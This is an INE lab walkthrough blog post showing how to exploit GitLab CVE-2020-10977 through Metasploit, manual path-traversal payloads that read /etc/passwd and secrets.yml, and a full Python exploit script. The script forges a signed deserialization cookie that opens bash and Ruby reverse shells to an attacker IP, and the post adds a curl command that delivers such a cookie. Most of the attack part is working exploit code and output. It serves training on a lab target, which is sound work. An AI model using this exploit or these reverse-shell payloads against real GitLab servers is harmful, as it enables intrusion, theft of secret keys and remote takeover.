Resources
    GitLab_File_Read_Remote_C ...
    09 September 22

    GitLab_File_Read_Remote_Code_Execution

    Posted byINE
    facebooktwitterlinkedin
    news-featured

    In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

    Description

    In 2020, a critical vulnerability was found in the GitLab server. An issue discovered in GitLab CE/EE 8.5 to 12.9 is vulnerable to a path traversal when moving an issue between projects. This leads to the arbitrary file read via the UploadsRewriter and remote command execution on the vulnerable GitLab server. The problem was discovered by William Bowling.

    This exercise is to understand how to exploit the vulnerable Gitlab (CVE-2020-10977) to gain a meterpreter session on the target machine.

    Purpose: We are learning how to exploit Gitlab using the Metasploit Framework module and will exploit the Gitlab application manually to better understand the vulnerability. Also, we will use the python scripts for exploiting Gitlab. 

    Technical difficulty: Beginner


    What is GitLab?

    GitLab Community Edition (CE) is an open-source end-to-end software development platform with built-in version control, issue tracking, code review, CI/CD, and more. Self-host GitLab CE on your own servers, in a container, or on a cloud provider.

    GitLab is The DevOps platform that empowers organizations to maximize the overall return on software development by delivering software faster and efficiently, while strengthening security and compliance. With GitLab, every team in your organization can collaboratively plan, build, secure, and deploy software to drive business outcomes faster with complete transparency, consistency and traceability.

    GitLab is an open core company which develops software for the software development lifecycle with 30 million estimated registered users and more than 1 million active license users, and has an active community of more than 2,500 contributors. GitLab openly shares more information than most companies and is public by default, meaning our projects, strategy, direction and metrics are discussed openly and can be found within our website. Our values are Collaboration, Results, Efficiency, Diversity, Inclusion & Belonging , Iteration, and Transparency (CREDIT) and these form our culture.

    Source: https://about.gitlab.com/company/

    Also, before we get started, we highly recommend you to please refer this excellent blog by snovvcrash.

    Vulnerable Code:

    ```
       @text.gsub(@pattern) do |markdown|
              file = find_file(@source_project, $~[:secret], $~[:file])
              break markdown unless file.try(:exists?)
    
    
    
              klass = target_parent.is_a?(Namespace) ? NamespaceFileUploader : FileUploader
              moved = klass.copy_to(file, target_parent)
    ...
       def find_file(project, secret, file)
            uploader = FileUploader.new(project, secret: secret)
            uploader.retrieve_from_store!(file)
            uploader
          end
    ```

    There is no restriction on what file can be accessed; because of that, path traversal can be used to copy any file, depending on the file's permission. This vulnerability allows an attacker to read sensitive files i.e., including tokens, private data, configs, etc

    Lab Environment

    In this lab environment, the user will access a Kali GUI instance. A vulnerable machine GitLab server deployed on http://demo.ine.local. 

    Goal after completing this scenario: Exploit the Gitlab server using the Metasploit framework module and gain the shell. Then read the flag.

    gitlab_file_read_0.png

    Tools

    The best tools for this lab are:

    - Nmap

    - Bash Shell

    - Metasploit Framework

    - Python

    Please go ahead ONLY if you have COMPLETED the lab or you are stuck! Checking the solutions before actually trying the concepts and techniques you studied in the course will dramatically reduce the benefits of a hands-on lab!

    [CVE-2021-22205]

    The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a local parent directory, but the software does not properly neutralize unique elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

    Read More: https://debricked.com/vulnerability-database/vulnerability/CVE-2020-10977

    Affected products

    - GitLab EE/CE 8.5 to 12.9

    Solution

    Step 1: Open the lab link to access the Kali machine.

    Kali machine

    gitlab_file_read_1.png

    Step 2: Check if the provided machine/domain is reachable.

    Command

    ping -c 4 demo.ine.local

    gitlab_file_read_2.jpg

    The provided machine is reachable, and we also found the target's IP address.

    Step 3: Check all open ports on the machine.


    Command

    nmap demo.ine.local

    gitlab_file_read_3.jpg

    Two ports are open. The GitLab server is running on port 80.

    Step 4: Run the firefox browser and access port 80 to identify the GitLab server.

    URL: http://demo.ine.local

    gitlab_file_read_4.jpg


    The target is running the Gitlab server.

    We can register a user on the target machine. Let's create a user i.e. test123:password_123

    gitlab_file_read_4_1.jpg

    Step 5: Run the Metasploit framework and search for the GitLab exploit module.

    Commands

    msfconsole -q

    search gitlab_file

    gitlab_file_read_5.jpg

    There is one Metasploit module available. exploit/multi/http/gitlab_file_read_rce 

    Step 6: Use the gitlab_exif_rce exploit module and check all available options.

    GitLab File Read Remote Code Execution

    >This module provides remote code execution against GitLab Community Edition (CE) and Enterprise Edition (EE). It combines an arbitrary file read to extract the Rails "secret_key_base", and gains remote code execution with a deserialization vulnerability of a signed 'experimentation_subject_id' cookie that GitLab uses internally for A/B testing. Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later, and was fixed in 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects versions 12.4.0 and above when the vulnerable experimentation_subject_id cookie was introduced. Tested on GitLab 12.8.1 and 12.4.0.

    Source: https://www.rapid7.com/db/modules/exploit/multi/http/gitlab_file_read_rce/

    Commands

    use exploit/multi/http/gitlab_file_read_rce

    show options

    gitlab_file_read_6.jpg

    The port is set to 80, which is the GitLab server port. Also, set RHOSTS and USERNAME, PASSWORD, which we have created, then run the module.

    Commands

    set RHOSTS demo.ine.local

    set USERNAME test123

    set PASSWORD password_123

    check

    gitlab_file_read_6_1.jpg

    The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version.

    The module first reads the /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml file and reads the value of secret_key_base This is a base key that is used for generating various other secrets.

    Exploit the server.

    Commands:

    exploit

    id

    gitlab_file_read_6_2.jpg


    We have gained a shell with git user privileges.

    Step 7: Read the flag.

    Commands:

    ls ../../

    cat ../../flag.txt

    gitlab_file_read_7.jpg

    FLAG: 4f4de082e7e9b7e9305738e67df104be


    Exploiting GitLab Manually

    We know that there are two different issues on the target Gitlab server. The path traversal vulnerability allows an attacker to read the secrets.yml file. From there, one can read the secret_key_base that is useful for creating a signed experimentation_subject_id cookie and gains remote code execution with a deserialization vulnerability.

    Step 8: Let's first login to the Gitlab server and create two projects.

    eg, project1 and project2

    gitlab_file_read_8.jpg

    gitlab_file_read_8_1.jpggitlab_file_read_8_2.jpggitlab_file_read_8_3.jpggitlab_file_read_8_4.jpg

    Now, click on project1 and create a New Issue. 

    URL: http://demo.ine.local/test123/project1/issues/new

    Payload to read /etc/passwd file.

    ![a](https://assets.ine.com/content/labs/vulnerability-labs/GitLab_File_Read_Remote_Code_Execution/passwd)

    gitlab_file_read_8_5.jpg


    Submit the issue

    gitlab_file_read_8_6.jpg

    Now, move the issue to project2. Once you move, you will be redirected to the project2 issue page.

    gitlab_file_read_8_7.jpg

    gitlab_file_read_8_8.jpg

    Download the /etc/passwd file

    gitlab_file_read_8_9.jpg

    gitlab_file_read_8_10.jpg

    We have successfully exploited path traversal vulnerability.

    Now, read the secrets.yml file where we can get secret_key_base.

    This time create another issue in project2 that will read the secrets.yml file.

    URL: http://demo.ine.local/test123/project2/issues/new

    gitlab_file_read_8_10_1.jpg

    Payload to read secrets.yml file. 

    By default, the secrets.yml file path is /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml 

    ![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)

    gitlab_file_read_8_11.jpg


    Submit the issue

    gitlab_file_read_8_11_1.jpg

    This time move the issue to project1.

    gitlab_file_read_8_12.jpg

    Now, download the secrets.yml file and read it.

    gitlab_file_read_8_13.jpg

    gitlab_file_read_8_14.jpg

    gitlab_file_read_8_15.jpg

    We have found the secret_key_base: 

    07577ae8da5ccdc224f6267d2cb05da4e846f6fc17d00bc7d5b0541d95697de2a5e5d6bb6616d0241990e360a932ea76974b8a2f0261ceab8af54822f2cf97c5

    Now, a payload can be generated by the GitLab instances rails console. But, in the real world, that won't be the case. However, many python scripts create the payload for this vulnerability that can be used directly to execute a command on the target machine using curl. Or we can modify the code that will only print the given command.

    The excellent Python script was written by dotPY-hax. We will use it to run commands on the target machine.

    Step 9: Running the python script to exploit the LFI and command injection vulnerability. We also make a slight change in the code that will print the final signed experimentation_subject_id cookie that can be used to exploit the target manually using curl.

    Python Script

    ```
    """
    Gitlab RCE+LFI version <= 11.4.7, 12.4.0-12.8.1 - EDUCATIONAL USE ONLY
    CVEs: CVE-2018-19571 (SSRF) + CVE-2018-19585 (CRLF)
    CVE-2020-10977
    """
    
    
    
    import base64
    import hashlib
    import hmac
    from html.parser import HTMLParser
    import random
    import string
    import sys
    import time
    import urllib.parse
    import urllib3
    
    
    
    import requests
    
    
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    
    
    
    class GitlabRCE:
        description = "oopsie woopsie we made a fucky wucky a wittle fucko boingo!"
    
    
    
        def __init__(self, gitlab_url, local_ip):
            self.url = gitlab_url
            self.local_ip = local_ip
            self.port = 42069
            change this if the gitlab has restricted email domains
            self.email_domain = "gmail.htb"
            self.session = requests.session()
            self.username = ""
            self.password = ""
            self.projects = []
            self.issues = []
    
    
    
        def get_authenticity_token(self, url, i=-1):
            result = self.session.get(url, verify=False)
            parser = GitlabParse()
            token = parser.feed(result.text, i)
            if not token:
                print("could not get token!")
                self.abort()
            return token
    
    
    
        def randomize(self):
            sequence = string.ascii_letters + string.digits
            random_list = random.choices(sequence, k=10)
            random_string = "".join(random_list)
            return random_string
    
    
    
        def register_user(self):
            authenticity_token = self.get_authenticity_token(self.url + "/users/sign_in")
            self.username = self.randomize()
            self.password = self.randomize()
            email = "{}@{}".format(self.username, self.email_domain)
            data = {"new_user[email]": email, "new_user[email_confirmation]": email, "new_user[username]": self.username,
                    "new_user[name]": self.username, "new_user[password]": self.password,
                    "authenticity_token": authenticity_token}
            result = self.session.post(self.url + "/users", data=data, verify=False)
            print("registering {}:{} - {}".format(self.username, self.password, result.status_code))
    
    
    
        def login_user(self):
            authenticity_token = self.get_authenticity_token(self.url + "/users/sign_in", 0)
            data = {"authenticity_token": authenticity_token, "user[login]": self.username, "user[password]": self.password}
            result = self.session.post(self.url + "/users/sign_in", data=data, verify=False)
            print(result.status_code)
    
    
    
        def delete_user(self):
            authenticity_token = self.get_authenticity_token(self.url + "/profile/account")
            data = {"authenticity_token": authenticity_token, "_method": "delete", "password": self.password}
            result = self.session.post(self.url + "/users", data=data, verify=False)
            print("delete user {} - {}".format(self.username, result.status_code))
    
    
    
        def create_empty_project(self):
            authenticity_token = self.get_authenticity_token(self.url + "/projects/new")
            project = self.randomize()
            self.projects.append(project)
            data = {"authenticity_token": authenticity_token, "project[ci_cd_only]": "false", "project[name]": project,
                    "project[path]": project, "project[visibility_level]": "0",
                    "project[description]": "all your base are belong to us"}
            result = self.session.post(self.url + "/projects", data=data, verify=False)
            print("creating project {} - {}".format(project, result.status_code))
    
    
    
        def create_issue(self, project_id, text):
            issue_link = "{}/{}/{}/issues".format(self.url, self.username, project_id)
            authenticity_token = self.get_authenticity_token(issue_link + "/new")
            issue_title = self.randomize()
            self.issues.append(issue_title)
            data = {"authenticity_token": authenticity_token, "issue[title]": issue_title, "issue[description]": text}
            result = self.session.post(issue_link, data=data, verify=False)
            print("creating issue {} for project {} - {}".format(issue_title, project_id, result.status_code))
    
    
    
        def main(self):
            print("main is not implemented")
    
    
    
        def prepare_payload(self):
            print("prepare_payload is not implemented")
    
    
    
        def abort(self):
            print("Something went wrong! ABORT MISSION!")
            exit()
    
    
    
    class GitlabRCE1147(GitlabRCE):
        description = "RCE for Version <=11.4.7"
    
    
    
        def exploit_project_creation(self, payload):
            authenticity_token = self.get_authenticity_token(self.url + "/projects/new")
            project = self.randomize()
            self.projects.append(project)
            payload_template = """git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
        multi
        sadd resque:gitlab:queues system_hook_push
        lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|{payload} \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}"
        exec
        exec
        exec"""
            using replace for formating is shit!! too bad...
            payload = payload_template.replace("{payload}", payload)
            data = {"authenticity_token": authenticity_token, "project[import_url]": payload,
                    "project[ci_cd_only]": "false", "project[name]": project,
                    "project[path]": project, "project[visibility_level]": "0",
                    "project[description]": "all your base are belong to us"}
            result = self.session.post(self.url + "/projects", data=data, verify=False)
            print("hacking in progress - {}".format(result.status_code))
    
    
    
        def prepare_payload(self):
            payload = "bash -i >& /dev/tcp/{}/{} 0>&1".format(self.local_ip, self.port)
            wrapper = "echo {base64_payload} | base64 -d | /bin/bash"
            base64_payload = base64.b64encode(payload.encode()).decode("utf-8")
            payload = wrapper.format(base64_payload=base64_payload)
            return payload
    
    
    
        def main(self):
            self.register_user()
            self.exploit_project_creation(self.prepare_payload())
            time.sleep(10)
            self.delete_user()
    
    
    
    
    class GitlabRCE1281LFI(GitlabRCE):
        description = "LFI for version 10.4-12.8.1 and maybe more"
    
    
    
        def __init__(self, gitlab_url, local_ip, file_to_lfi="/etc/passwd"):
            super(GitlabRCE1281LFI, self).__init__(gitlab_url, local_ip)
            self.file_to_lfi = file_to_lfi
    
    
    
        def get_file(self, url, filename):
            print("Grabbing file {}".format(filename))
            result = self.session.get(url, verify=False)
            return result.text
    
    
    
        def get_technical_id_of_project(self, project_id):
            url = "{}/{}/{}".format(self.url, self.username, project_id)
            result = self.session.get(url, verify=False)
            parser = ProjectIDParse()
            technical_id = parser.feed(result.text)
            return technical_id
    
    
    
        def extract_link_from_issue_json(self, issue_json, project_id):
            field = issue_json["description"]
            file_name = field[field.find("[") + 1:field.find("]")]
            file_path = field[field.find("(") + 1:field.find(")")]
            url = "{}/{}/{}{}".format(self.url, self.username, project_id, file_path)
            return url, file_name
    
    
    
        def lfi_path(self):
            return "![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../..{})".format(
                self.file_to_lfi)
    
    
    
        def exploit_move_issue(self):
            project = self.projects[0]
            other_project = self.projects[-1]
            url = "{}/{}/{}/issues/1".format(self.url, self.username, project)
            technical_project_id_other_project = self.get_technical_id_of_project(other_project)
            authenticity_token = self.get_authenticity_token(url)
            issue_json = {"move_to_project_id": technical_project_id_other_project}
            self.session.headers["X-CSRF-Token"] = authenticity_token
            self.session.headers["Referer"] = url
            result = self.session.post(url + "/move", json=issue_json, verify=False)
            print("moving issue from {} to {} - {}".format(project, other_project, result.status_code))
            url, filename = self.extract_link_from_issue_json(result.json(), other_project)
            file_content = self.get_file(url, filename)
            return file_content
    
    
    
        def main(self):
            self.register_user()
            self.create_empty_project()
            self.create_empty_project()
            self.create_issue(self.projects[0], self.lfi_path())
            file_content = self.exploit_move_issue()
            print(file_content)
            self.delete_user()
    
    
    
    
    class GitlabRCE1281RCE(GitlabRCE1281LFI):
        description = "RCE for version 12.4.0-12.8.1 - !!RUBY REVERSE SHELL IS VERY UNRELIABLE!! WIP"
    
    
    
        def parse_secrets(self, secrets):
            secret_key_base = secrets[secrets.find("secret_key_base: ") + 17:secrets.find("otp_key_base") - 3]
            return secret_key_base
    
    
    
        def get_ruby_shit_byte(self):
            ruby marshal REEEEEEEEEEEEEE
            length = len(self.local_ip) + len(str(self.port)) - 8
            possible_shit_bytes = "jklmnopqrstuvw"
            return possible_shit_bytes[length]
    
    
    
        def build_payload(self, secret):
            payload = "\x04\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0E@instanceo:\bERB\b:\t@srcI\"{ruby_shit_byte}exit if fork;c=TCPSocket.new(\"{ip}\",{port});while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end\x06:\x06ET:\x0E@filenameI\"\x061\x06;\tT:\f@linenoi\x06:\f@method:\vresult:\t@varI\"\f@result\x06;\tT:\x10@deprecatorIu:\x1FActiveSupport::Deprecation\x00\x06;\tT"
            payload = payload.replace("{ip}", self.local_ip).replace("{port}", str(self.port)).replace("{ruby_shit_byte}",
                                                                                                       self.get_ruby_shit_byte())
            key = hashlib.pbkdf2_hmac("sha1", password=secret.encode(), salt=b"signed cookie", iterations=1000, dklen=64)
            base64_payload = base64.b64encode(payload.encode())
            digest = hmac.new(key, base64_payload, digestmod=hashlib.sha1).hexdigest()
            return base64_payload.decode() + "--" + digest
    
    
    
        def send_payload(self, payload):
            cookie = {"experimentation_subject_id": payload}
            print(cookie)
            result = self.session.get(self.url + "/users/sign_in", cookies=cookie, verify=False)
            print("deploying payload - {}".format(result.status_code))
    
    
    
        def main(self):
            self.file_to_lfi = "/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml"
            self.register_user()
            self.create_empty_project()
            self.create_empty_project()
            self.create_issue(self.projects[0], self.lfi_path())
            file_contents = self.exploit_move_issue()
            secret = self.parse_secrets(file_contents)
            payload = self.build_payload(secret)
            self.send_payload(payload)
            self.delete_user()
    
    
    
    
    class GitlabRCE1281LFIUser(GitlabRCE1281LFI):
        def main(self):
            self.file_to_lfi = self.ask_for_lfi_path()
            super(GitlabRCE1281LFIUser, self).main()
    
    
    
        def ask_for_lfi_path(self):
            lfi_path = input(
                "please type in the fully qualified path of the file you want to LFI. Uses {} when left empty: ".format(
                    self.file_to_lfi))
            lfi_path = lfi_path.strip()
            if not lfi_path:
                return self.file_to_lfi
            return lfi_path
    
    
    
    
    class GitlabVersion(GitlabRCE):
        def test(self):
            try:
                result = self.session.get(self.url, verify=False)
                if result.status_code not in [200, 302]:
                    raise Exception("Host {} seems down".format(self.url))
            except Exception as e:
                print(e)
                self.abort()
    
    
    
        def get_version(self):
            result = self.session.get(self.url + "/help", verify=False)
            print("Getting version of {} - {}".format(self.url, result.status_code))
            parse = VersionParse()
            version = parse.feed(result.text)
            return version
    
    
    
        def main(self):
            self.test()
            self.register_user()
            version = self.get_version()
            print("The Version seems to be {}! Choose wisely".format(version))
            self.delete_user()
            if not version:
                print("Could not get version!")
                self.abort()
    
    
    
    
    class GitlabParse(HTMLParser):
        def __init__(self):
            super(GitlabParse, self).__init__()
            self.tokens = []
            self.current_name = ""
    
    
    
        def handle_starttag(self, tag, attrs):
            if tag == "input":
                for name, value in attrs:
                    if self.current_name == "authenticity_token" and name == "value":
                        self.tokens.append(value)
                    self.current_name = value
            elif tag == "meta":
                for name, value in attrs:
                    if self.current_name == "csrf-token":
                        self.tokens.append(value)
                    self.current_name = value
    
    
    
        def feed(self, data, i):
            super(GitlabParse, self).feed(data)
            try:
                return self.tokens[i]
            except IndexError:
                return None
    
    
    
    
    class ProjectIDParse(HTMLParser):
        def __init__(self):
            super(ProjectIDParse, self).__init__()
            self.project_found = False
            self.project_id = None
    
    
    
        def feed(self, data):
            super(ProjectIDParse, self).feed(data)
            return self.project_id
    
    
    
        def handle_starttag(self, tag, attrs):
            for name, value in attrs:
                if self.project_found and name == "value":
                    self.project_id = int(value)
                    return
                self.project_found = name == "id" and value == "project_id"
    
    
    
    
    class VersionParse(HTMLParser):
        def __init__(self):
            super(VersionParse, self).__init__()
            self.found_version = False
            self.version = None
    
    
    
        def handle_starttag(self, tag, attrs):
            if tag == "a":
                for name, value in attrs:
                    self.found_version = name == "href" and "/tags/v" in value
    
    
    
        def handle_data(self, data):
            if self.found_version and not self.version:
                self.version = data
    
    
    
        def feed(self, data):
            super(VersionParse, self).feed(data)
            return self.version
    
    
    
    
    class Runner:
        def __init__(self):
            self.available_classes = [GitlabRCE1147, GitlabRCE1281LFIUser, GitlabRCE1281RCE]
            self.local_ip = None
            self.gitlab_url = None
            self.run()
    
    
    
        def banner(self):
            print("Gitlab Exploit by dotPY [insert fancy ascii art]")
    
    
    
        def get_version(self):
            class_ = GitlabVersion(self.gitlab_url, self.local_ip)
            class_.main()
    
    
    
        def list_options_and_choose(self):
            number = None
            for i, class_ in enumerate(self.available_classes):
                print("[{}] - {} - {}".format(i, class_.__name__, class_.description))
            while number not in range(len(self.available_classes)):
                try:
                    number = int(input("type a number and hit enter to choose exploit: "))
                except ValueError:
                    pass
    
    
    
            return self.available_classes[number]
    
    
    
        def run_chosen_exploit(self, chosen_exploit):
            class_ = chosen_exploit(self.gitlab_url, self.local_ip)
            input("Start a listener on port {port} and hit enter (nc -vlnp {port})".format(port=class_.port))
            class_.main()
    
    
    
        def run(self):
            args = sys.argv
            if len(args) != 3:
                print("usage: {} <http://gitlab:port> <local-ip>".format(args[0]))
                return
            else:
                self.gitlab_url = args[1]
                self.local_ip = args[2]
                self.start()
    
    
    
        def start(self):
            self.banner()
            self.get_version()
            class_ = self.list_options_and_choose()
            self.run_chosen_exploit(class_)
    
    
    
    
    r = Runner()
    ```

    Copy and paste the above code in the Kali GUI and run the PoC code to exploit LFI and perform RCE.

    gitlab_file_read_9.jpg


    Check the script help option.

    Command:

    python3 PoC.py --help

    gitlab_file_read_9_1.jpg

    Launch the script.

    Note: Make sure you enter a valid local host IP address

    Command:

    python3 PoC.py http://demo.ine.local 10.10.27.2

    Choose option 1: [1] - GitlabRCE1281LFIUser - LFI for version 10.4-12.8.1 and maybe more

    We aren't performing RCE, so we can skip the Start a listener on port 42069 and hit enter (nc -vlnp 42069) option. Press enter.

    Please type in the fully qualified path of the file you want to LFI. Uses /etc/passwd when left empty:

    Press enter again to read the /etc/passwd file.

    gitlab_file_read_9_2.jpg

    Successfully read the /etc/passwd file.

    Again, launch the script, and this time select option 2 for RCE and gain the netcat reverse shell.

    Command:

    python3 PoC.py http://demo.ine.local 10.10.27.2

    gitlab_file_read_9_3.jpg

    Start a listener on port 42069 and hit enter (nc -vlnp 42069).

    Start netcat listener

    Command:

    nc -vlnp 42069

    gitlab_file_read_9_4.jpg

    gitlab_file_read_9_5.jpg

    Important: Do not press enter, if you hit the enter key, the netcat shell will die.

    gitlab_file_read_9_6.jpg

    We have successfully exploited the Gitlab server using the python script.

    We can also notice the final signed experimentation_subject_id cookie that can be used to execute commands on the target server. 

    gitlab_file_read_9_7.jpg

    Copy the value and send it using curl to receive the netcat session again. Kill the existing session first.

    gitlab_file_read_9_8.jpg

    Command:

    ```
    curl -vvv 'http://demo.ine.local/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgg6CUBzcmNJInFleGl0IGlmIGZvcms7Yz1UQ1BTb2NrZXQubmV3KCIxMC4xMC4yNy4yIiw0MjA2OSk7d2hpbGUoY21kPWMuZ2V0cyk7SU8ucG9wZW4oY21kLCJyIil7fGlvfGMucHJpbnQgaW8ucmVhZH1lbmQGOgZFVDoOQGZpbGVuYW1lSSIGMQY7CVQ6DEBsaW5lbm9pBjoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7CVQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7CVQ=--06589556c6901eb902fdb2bd308ff0f8f6c542bb"
    ```

    gitlab_file_read_9_9.jpg

    Gained the netcat shell. 

    gitlab_file_read_9_10.jpg

    Similarly, we can read sensitive log files and reset the existing user's password. 

    We highly recommend you to refer to this blog: 

    https://snovvcrash.rocks/2021/02/21/exploiting-cve-2020-10977-on-old-gitlab.html

    Conclusion

    We have learned to exploit the vulnerable Gitlab versions. This is a serious issue. One can easily compromise the Gitlab server by using these issues.

    Always keep the system and Gitlab application updated. Keep an eye on the vulnerability (CVE) database for specific components that will help you understand the vulnerability type. One can quickly mitigate the issue before an online patch or a new version.

    Also, Gitlab has its official blog post regarding Gitlab patches and vulnerability details. Highly recommended for all Gitlab-related information: https://about.gitlab.com/releases/categories/releases/


    References

    Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

    © 2024 INE. All Rights Reserved. All logos, trademarks and registered trademarks are the property of their respective owners.
    instagram Logofacebook Logotwitter Logolinkedin Logoyoutube Logo